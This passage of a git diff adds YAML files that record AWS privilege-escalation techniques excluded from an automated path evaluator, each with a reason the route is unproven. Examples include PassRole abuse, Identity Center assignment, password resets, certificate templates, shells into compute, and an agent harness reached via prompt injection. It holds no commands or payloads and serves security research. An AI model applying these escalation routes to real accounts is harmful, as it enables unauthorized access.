src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballcreatejob--iampassrole--create-a-physical-s3-export-through-a-privileged-role + technique: aws-snowball-passrole-createjob + reason: The passed role is used only for a physical S3 export job; the source receives data, not the role identity + or IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballupdatejob--make-an-existing-snow-role-export-additional-s3-data-to-another-address + technique: aws-snowball-updatejob-existing-role + reason: Retargeting a physical export job discloses selected S3 data but does not yield the stored role identity + or IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statessendtasksuccess--inject-callback-output-into-a-privileged-next-state + technique: aws-stepfunctions-activity-callback-output-injection + reason: GetActivityTask can supply a live token and SendTaskSuccess can inject output, + but a role edge needs the exact execution, state-machine definition and dataflow + proving that the controlled output reaches a sensitive downstream AWS action + under a named execution role. A fixed business branch alone does not grant + that role's credentials or all its permissions. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..0d13612127 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_secondary_bounded_role_overclaim_20261016.yaml @@ -0,0 +1,44 @@ +# Additional role targets whose service execution is bounded by a fixed configuration or file/SQL session. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#hijack-resolver-function-or-data-source-behavior + technique: aws-appsync-updateresolver-existing-datasource-role + reason: Only HTTP data sources with IAM authorization can sign arbitrary AWS API calls. This entry targets every + existing AppSync data-source role, including DynamoDB/OpenSearch/RDS/EventBridge backends whose role use is + bounded; reauthor an exact HTTP selector and invocation proof. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#datasyncupdatelocations3-datasyncstarttaskexecution-iampassrole--replace-a-stored-location-role + technique: aws-datasync-updatelocations3-starttaskexecution + reason: The fixed bucket and destination limit the effect to a selected S3 copy, not the full passable DataSync + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipes-privesc/README.md#pipescreatepipe-or-updatepipe--iampassrole + technique: aws-pipes-passrole-createpipe-or-updatepipe + reason: Pipes can only read supported sources and invoke configured enrichment/targets; the entry itself says + arbitrary role API calls are unavailable. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-pipe-stored-role-privesc/README.md#pipesstartpipe--execute-a-stopped-pipe-with-its-stored-role + technique: aws-pipes-startpipe-stored-role + reason: Starting a fixed pipe triggers only its stored source/enrichment/target operations and does not yield + its role or new general permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsaddroletodbcluster-iampassrole + technique: aws-rds-addroletodbcluster-passrole + reason: Adding a role to a DB cluster enables only engine-specific SQL integrations; the source does not receive + the full passed role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsaddroletodbinstance-iampassrole + technique: aws-rds-addroletodbinstance-passrole + reason: Adding a role to a DB instance enables only engine-specific SQL integrations; the source does not receive + the full passed role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rds-dbconnect + technique: aws-rds-dbconnect-iam-auth-associated-roles + reason: IAM DB authentication grants a database session and configured SQL integration actions, not the associated + IAM role session or full permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + technique: aws-ssm-startautomationexecution-stored-role + reason: Starting a fixed Automation runbook triggers only its stored steps; the source does not receive the hardcoded + role session. A policy-attachment step should be modeled as an exact added permission. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferimportsshpublickey--impersonate-a-service-managed-user + technique: aws-transfer-importsshpublickey + reason: Transfer Family supplies only session-policy/home-directory-limited file access; the entry explicitly + says no AWS API credentials are obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#secretsmanagerputsecretvalue--poison-a-secrets-manager-backed-custom-idp-user + technique: aws-transfer-secret-backed-idp-record + reason: A custom IdP record can select a Transfer role for a file session, but does not give broad IAM role permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateserver-lambdaupdatefunctioncode-or-api-gateway-response-writes--take-over-a-custom-identity-provider + technique: aws-transfer-custom-idp-takeover + reason: Controlling the custom IdP response selects a Transfer file-session role, not a general IAM role session. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..b7e70574bb --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_strict_reaudit_20261016.yaml @@ -0,0 +1,63 @@ +# Prior active entries archived in docs/privesc-ledgers/aws-scope-archive-20261016/sso-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoputinlinepolicytopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Add an inline policy to a permission set and re-provision it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-putinlinepolicytopermissionset +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoattachmanagedpolicytopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Attach an AWS-managed policy to a permission set and re-provision it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-attachmanagedpolicytopermissionset +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssoattachcustomermanagedpolicyreferencetopermissionset-ssoprovisionpermissionset + source_revision: 171e422299 + technique: Attach a customer-managed policy reference to a permission set and re-provision + it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-attachcustomermanagedpolicyreference +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodeletepermissionsboundaryfrompermissionset + source_revision: 171e422299 + technique: Remove a restricting policy or boundary from a permission set and re-provision + it + reason: Source IAM principal to a credentialed, controlled Identity Center user/group + and its exact permission-set assignment is only described in conditions; the evaluator + has no source-subject-assignment proof, so update rights alone establish no gained + permission. + prior_id: aws-sso-remove-permission-set-restriction +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreategroupmembership + source_revision: 171e422299 + technique: Add an Identity Center user controlled by the source to a group + reason: CreateGroupMembership can add an arbitrary Identity Center user, but the + evaluator does not prove the source controls that user or that the target permission + set is assigned to the chosen group. + prior_id: aws-identitystore-creategroupmembership +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssocreateaccountassignment + source_revision: 171e422299 + technique: Assign a permission set to a controlled user in an account + reason: CreateAccountAssignment can assign an arbitrary user/group, but the evaluator + does not prove the source controls its credentials or that the assignment is usable + by the source. + prior_id: aws-sso-createaccountassignment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssocreatepermissionset--policy-attach--ssocreateaccountassignment--build-an-admin-path-from-scratch + source_revision: 171e422299 + technique: Create an admin permission set and assign it to a controlled user in + a member account + reason: The create/attach/assign actions grant a chosen Identity Center subject, + but no source-to-controlled-subject credential join is evaluated. + prior_id: aws-sso-createpermissionset-attach-assign +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#account-accesscreateentitlement--assign-an-existing-iam-role-to-a-controlled-identity-center-user + source_revision: 171e422299 + technique: Assign an existing IAM role to a controlled Identity Center user through + Account Access Manager + reason: CreateEntitlement grants the selected Identity Center subject; the evaluator + does not prove the source controls that subject or can use the entitlement. + prior_id: aws-account-access-createentitlement diff --git a/src/privilege-escalation-paths-research/aws/_excluded_sts_federation_tokens_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_sts_federation_tokens_20261022.yaml new file mode 100644 index 0000000000..9ba80ad234 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_sts_federation_tokens_20261022.yaml @@ -0,0 +1,9 @@ +# Federation API grants alone do not prove control of a usable external assertion. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithsaml + source_revision: 582f48435f + technique: Assume an IAM role using a controlled SAML assertion + reason: A role trust for a SAML provider does not show that the source can obtain or sign an unexpired assertion for the exact role and principal. A usable edge needs the assertion issuer, audience, role claim, source control and trust-condition joins; these are not collected from AWS IAM permissions alone. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithwebidentity + source_revision: 582f48435f + technique: Assume an IAM role using a controlled web identity token + reason: Web identity role trust alone does not prove possession of a valid token with the exact issuer, audience and subject. A usable edge needs token control, freshness, matching provider and trust conditions and any pod or workload access proof; these are not inferable from IAM permission inventory alone. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_studio_space_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_studio_space_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..7674157b4e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_studio_space_strict_reaudit_20261016.yaml @@ -0,0 +1,12 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/studio-space-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + technique: Attach a controlled Studio lifecycle configuration to an existing space + reason: The space inventory now joins a collected space ARN, app type, sharing type and + owner to either the domain's shared-space role or the private owner's profile role. + An executable edge still needs a creatable lifecycle configuration of the matching + app type, UpdateSpace authorization for that exact space and a compatible later app + start. Until those configuration and startup conditions are checked, the role mapping + alone does not prove script execution. A generic SageMaker trust relationship cannot + substitute for any of these joins. + prior_id: aws-sagemaker-attach-studio-lifecycle-config-space diff --git a/src/privilege-escalation-paths-research/aws/_excluded_sweep.yaml b/src/privilege-escalation-paths-research/aws/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..bcca7f8559 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml @@ -0,0 +1,110 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/uncollected-host-join-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#updateapplication--code-control--application-execution-role + source_revision: 171e422299 + technique: Repoint the code of an existing Managed Flink application that keeps its execution + role + reason: The kinesisanalytics_application resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-flink-updateapplication-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenotebook--poison-a-spark-notebook-executed-later + source_revision: 171e422299 + technique: Replace the cells of an Athena Spark notebook that is executed later + reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-athena-updatenotebook-poison +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdatefleet--replace-an-existing-fleet-image-while-retaining-its-role + source_revision: 6fb9ac51fd + technique: Replace an existing AppStream fleet image or session-script archive while retaining + its role + reason: The appstream_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-appstream-updatefleet-image-swap +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessgetsessionendpoint--take-over-an-existing-spark-connect-session + source_revision: 171e422299 + technique: Attach to an active EMR Serverless Spark Connect session + reason: The emr-serverless_session resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-emr-serverless-getsessionendpoint +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessupdateapplication + source_revision: 171e422299 + technique: Poison the default runtime configuration of an EMR Serverless application + reason: The emr-serverless_application resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-emr-serverless-updateapplication-runtime-config +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privesc-to-ecs + source_revision: 171e422299 + technique: Open an SSM session into an ECS container with ExecuteCommand enabled + reason: The ecs_task resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-ssm-startsession-ecs-exec +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 6fb9ac51fd + technique: Run commands or open sessions on hybrid managed nodes that carry an SSM service role + reason: The ssm_managed_instance resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-ssm-exec-hybrid-managed-node +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#dry-run-replacement-code--passrole + source_revision: 171e422299 + technique: Dry-run replacement canary code under the canary's execution role + reason: The collector and evaluator now join each named synthetics_canary to its recorded + ExecutionRoleArn. The dry-run route still needs an exact supported runtime, generated + Lambda function and code-layer permission join before its caller can be shown to execute + replacement code as that role; a named canary and PassRole alone are insufficient. + prior_id: aws-synthetics-startcanarydryrun-replacement-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole + source_revision: 171e422299 + technique: Modify the definition of an existing state machine keeping its role + reason: The collector records each state machine's exact roleArn, stateMachineArn, status and + type; the active PassRole route checks an update and execution on one machine. A separate + definition-only route without PassRole remains unproven because the AWS service authorization + reference lists iam:PassRole as a dependent action for UpdateStateMachine even though roleArn + is optional in the request. Do not infer this variant from update permission alone. + prior_id: aws-stepfunctions-updatestatemachine-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-cloudformationgettemplate-cloudformationdescribestackresources-cloudformationdescribestackresource-autoscalingdescribeautoscalinggroups-autoscalingsuspendprocesses + source_revision: 171e422299 + technique: Deploy an attacker-hosted application version to an existing environment + reason: The elasticbeanstalk_environment resource-to-role attachment is not loaded by the AWS + evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the + exact role that the source operation reaches. + prior_id: aws-elasticbeanstalk-createapplicationversion-updateenvironment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#managed-compute-shell-with-gameliftgetcomputeaccess + source_revision: b587e6bd26 + technique: Open a Session Manager shell on a GameLift fleet compute and use its instance role + reason: The gamelift_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-gamelift-getcomputeaccess-fleet-instance-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2updateapplication---store-a-malicious-application-version-for-later-deployment + source_revision: b587e6bd26 + technique: Deploy a modified M2 application version under its existing role + reason: 'UpdateApplication creates a stored application version without changing its roleArn + or deploying it. A principal-to-principal route requires an exact existing application and + its GetApplication roleArn, a valid attacker-controlled definition or executable artifact, + a later CreateDeployment of that version to an eligible runtime environment, and a start + when needed. The later deployment must be observed or authorized to the same caller; do not + infer it from UpdateApplication alone. The AWS evaluator collects no m2_application facts or + version-to-deployment-to-role join, so service trust or an application name cannot identify + a reachable role.' + prior_id: aws-m2-updateapplication-deploy-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#aws---agentcore-harness-rce-via-indirect-prompt-injection + source_revision: b587e6bd26 + technique: Invoke an existing AgentCore harness with its shell tool to run commands as its execution + role + reason: The bedrock-agentcore_harness resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role + that the source operation reaches. + prior_id: aws-bedrock-agentcore-invokeharness-shell-existing +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdacreatemicrovmshellauthtoken--shell-into-an-existing-lambda-microvm + source_revision: 171e422299 + technique: Open a shell into a running Lambda MicroVM + reason: The lambda_microvm resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the + source operation reaches. + prior_id: aws-lambda-microvm-createmicrovmshellauthtoken diff --git a/src/privilege-escalation-paths-research/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..9938f21a7c --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml @@ -0,0 +1,56 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/uncollected-service-join-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp-amplifystartjob + source_revision: 6fb9ac51fd + technique: Change an Amplify app build specification and start a build + reason: The amplify resource-to-role attachment is not loaded by the AWS evaluator (absent from + HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-amplify-updateapp-startjob +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdatebranch-amplifystartjob--branch-scoped-build-code-execution + source_revision: 6fb9ac51fd + technique: Change an Amplify branch's build environment variables and start a build + reason: The amplify resource-to-role attachment is not loaded by the AWS evaluator (absent from + HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-amplify-updatebranch-startjob +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorestartcodeinterpretersession--bedrock-agentcoreinvokecodeinterpreter---code-interpreter-execution-role-pivot + source_revision: 6fb9ac51fd + technique: Run code in an existing AgentCore Code Interpreter with an execution role + reason: The bedrock-agentcore resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-bedrock-agentcore-codeinterpreter-existing +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateharness-iampassrole-invokeagentruntimecommand--root-shell-as-a-role + source_revision: 6fb9ac51fd + technique: Run shell commands in an existing AgentCore agent runtime + reason: The bedrock-agentcore resource-to-role attachment is not loaded by the AWS evaluator (absent + from HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. + The attached resource ARN and action coverage cannot be proven. + prior_id: aws-bedrock-agentcore-invokeagentruntimecommand-existing-runtime +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsexecutecommand-ecsdescribetasks-and-optionally-a-task-launching-action + source_revision: 171e422299 + technique: Execute commands in a running ECS task with ECS Exec + reason: The old unjoined route is replaced by active aws-ecs-executecommand, which requires a running task, exact task role, ready per-container Exec agent, cluster and task authorization, and task-role SSM channel permissions. + prior_id: aws-ecs-executecommand +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#hijack-ecs-scheduling-via-malicious-capacity-provider-ec2-asg-takeover + source_revision: 171e422299 + technique: Move a service onto a capacity provider backed by instances the source controls + reason: The ecs resource-to-role attachment is not loaded by the AWS evaluator (absent from HOST_KIND), + so service-role trust cannot identify the exact role reached by the source action. The attached + resource ARN and action coverage cannot be proven. + prior_id: aws-ecs-capacity-provider-hijack +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#classic-mwaa-airflowcreateweblogintoken--airflowcreateclitoken--code-execution-as-the-environment-execution-role + source_revision: b587e6bd26 + technique: Mint an Airflow CLI token for an MWAA environment and run code as its execution role + reason: The airflow-env.amazonaws.com resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND), so service-role trust cannot identify the exact role reached by the + source action. The attached resource ARN and action coverage cannot be proven. + prior_id: aws-mwaa-createclitoken-execution-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#classic-mwaa-airflowcreateweblogintoken--airflowcreateclitoken--code-execution-as-the-environment-execution-role + source_revision: b587e6bd26 + technique: Mint an Airflow web-login token for an MWAA environment and run code as its execution + role + reason: The airflow-env.amazonaws.com resource-to-role attachment is not loaded by the AWS evaluator + (absent from HOST_KIND), so service-role trust cannot identify the exact role reached by the + source action. The attached resource ARN and action coverage cannot be proven. + prior_id: aws-mwaa-createweblogintoken-execution-role diff --git a/src/privilege-escalation-paths-research/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..ec926f1c87 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_unjoined_subject_strict_reaudit_20261016.yaml @@ -0,0 +1,107 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/unjoined-subject-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationupdatestackset + source_revision: 6fb9ac51fd + technique: Update an existing self-managed StackSet + reason: UpdateStackSet changes an existing StackSet, but no collected StackSet-to-administration-role + or execution-role join identifies the target; service trust alone overclaims the pivot. + prior_id: aws-cloudformation-updatestackset-attached +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsynccreatedatasource-iampassrole--drive-an-arbitrary-role-through-a-graphql-field + source_revision: 171e422299 + technique: Attach a passed role to an IAM-signed HTTP data source and call it through a resolver + reason: Create/UpdateDataSource and resolver changes do not prove the source can call a field + under the API authorization mode; callable API/field control is only prose. + prior_id: aws-appsync-passrole-datasource-sigv4 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamaddclientidtoopenidconnectprovider--widen-an-existing-federation-trust + source_revision: 171e422299 + technique: Register an attacker-chosen audience on an OIDC provider that roles trust + reason: Adding an audience does not prove the source holds an issuer-signed token whose exact + claims satisfy the target role trust. + prior_id: aws-iam-oidcprovider-add-client-id +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + technique: Register an OIDC provider that a role trusts but that no longer exists + reason: Creating an OIDC provider at an orphaned ARN does not prove source possession of a signed + token with claims satisfying the exact target role trust. + prior_id: aws-iam-createoidcprovider-orphaned-trust +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#path-name-and-arn-conditions + source_revision: b587e6bd26 + technique: Create a role in a trusted account to satisfy another account's role trust + reason: The selector checks trust against the existing source, not the newly created role; no + typed new-role ARN to external trust-pattern join proves the target accepts it. + prior_id: aws-iam-createrole-satisfy-cross-account-trust +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#account-factory--provision-an-account-you-control + source_revision: 171e422299 + technique: Update an Account Factory provisioned account to grant AWSAdministratorAccess to + a controlled Identity Center user + reason: Product update does not prove the chosen SSO user or mailbox is source-controlled, nor + which member-account admin is gained; both joins are prose conditions. + prior_id: aws-controltower-accountfactory-update-sso-user +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#sso-directoryupdatepassword + source_revision: 171e422299 + technique: Reset the password of an Identity Center user + reason: UpdatePassword may reset another Identity Center user, but the target entity is account-wide + and does not bind an exact user, usable sign-in, MFA state, or gained assignment. + prior_id: aws-sso-directory-updatepassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreateuser--sso-directorycreateuser--group-membership--assignment + source_revision: 6fb9ac51fd + technique: Create an Identity Center user and add it to a privileged group + reason: CreateUser and CreateGroupMembership do not prove the source receives usable sign-in + credentials for the new Identity Center user or that the named group maps to the target permission + set. + prior_id: aws-identitystore-createuser-groupmembership +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#identitystorecreateuser--sso-directorycreateuser--group-membership--assignment + source_revision: 6fb9ac51fd + technique: Create an Identity Center user and assign it a permission set + reason: CreateUser and CreateAccountAssignment do not prove source control of a usable new-user + credential or exact permission-set assignment scope. + prior_id: aws-identitystore-createuser-createaccountassignment +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplate--change-ad-certificate-enrollment-rules + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 + technique: Publish a malicious certificate template through PCA Connector for AD and enroll + as a domain admin + reason: Template creation does not prove the source controls an enrollable AD identity or that + certificate mapping authenticates as the exact directory admin. + prior_id: aws-pca-connector-ad-createtemplate-esc1 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adupdatetemplate--change-an-existing-certificate-template + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 + technique: Weaken an existing PCA Connector for AD certificate template in place + reason: Template update does not prove the source controls an enrollable AD identity or that + certificate mapping authenticates as the exact directory admin. + prior_id: aws-pca-connector-ad-updatetemplate +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumeroot--privileged-root-sessions-into-any-member-account + source_revision: 171e422299 + technique: Obtain a privileged root-user session in a member account with sts:AssumeRoot + reason: AssumeRoot returns a short task-policy-scoped root session, not full account-admin authority; + task policy and management/delegated-admin source scope are not modeled as bounded grants. + prior_id: aws-sts-assumeroot-member-accounts +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#dsresetuserpassword + source_revision: 171e422299 + technique: Reset the password of a directory user with Management Console access + reason: ResetUserPassword on a directory does not prove the selected user is assigned the modeled + AWS role or that console sign-in with the new password is usable. + prior_id: aws-ds-resetuserpassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#dsresetuserpassword + source_revision: 6fb9ac51fd + technique: Reset the password of the built-in directory administrator + reason: The directory-admin target is an account-level entity, not an exact resettable user; + no evidence joins a specific user, credential usability, and admin rights. + prior_id: aws-ds-resetuserpassword-directory-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#codeconnectionscreatesyncconfiguration--codeconnectionsupdatesyncconfiguration--codeconnectionspassrepository--iampassrole + source_revision: 171e422299 + technique: Point a CloudFormation Git sync configuration at a controlled branch with a passed + sync role + reason: Git sync configuration plus PassRole does not prove the source can write the monitored + repository branch/deployment file; external Git control is only prose. + prior_id: aws-codeconnections-gitsync-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#redirect-a-repository-link + source_revision: b587e6bd26 + technique: Redirect a repository link consumed by CloudFormation Git sync to a controlled connection + reason: Repository link update does not join an existing sync configuration to the target role + or prove control of the replacement Git installation and branch. + prior_id: aws-codeconnections-updaterepositorylink-gitsync-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-supply-chain-privesc/README.md#scnassignadminpermissionstouser + source_revision: 171e422299 + technique: Assign Supply Chain application administrator to a controlled Identity Center user + reason: AssignAdminPermissionsToUser names an Identity Center user, but source control and sign-in + for that exact user are only prose conditions. + prior_id: aws-supplychain-assignadmin diff --git a/src/privilege-escalation-paths-research/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_unproven_ssm_dlm_target_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..072655b491 --- /dev/null +++ 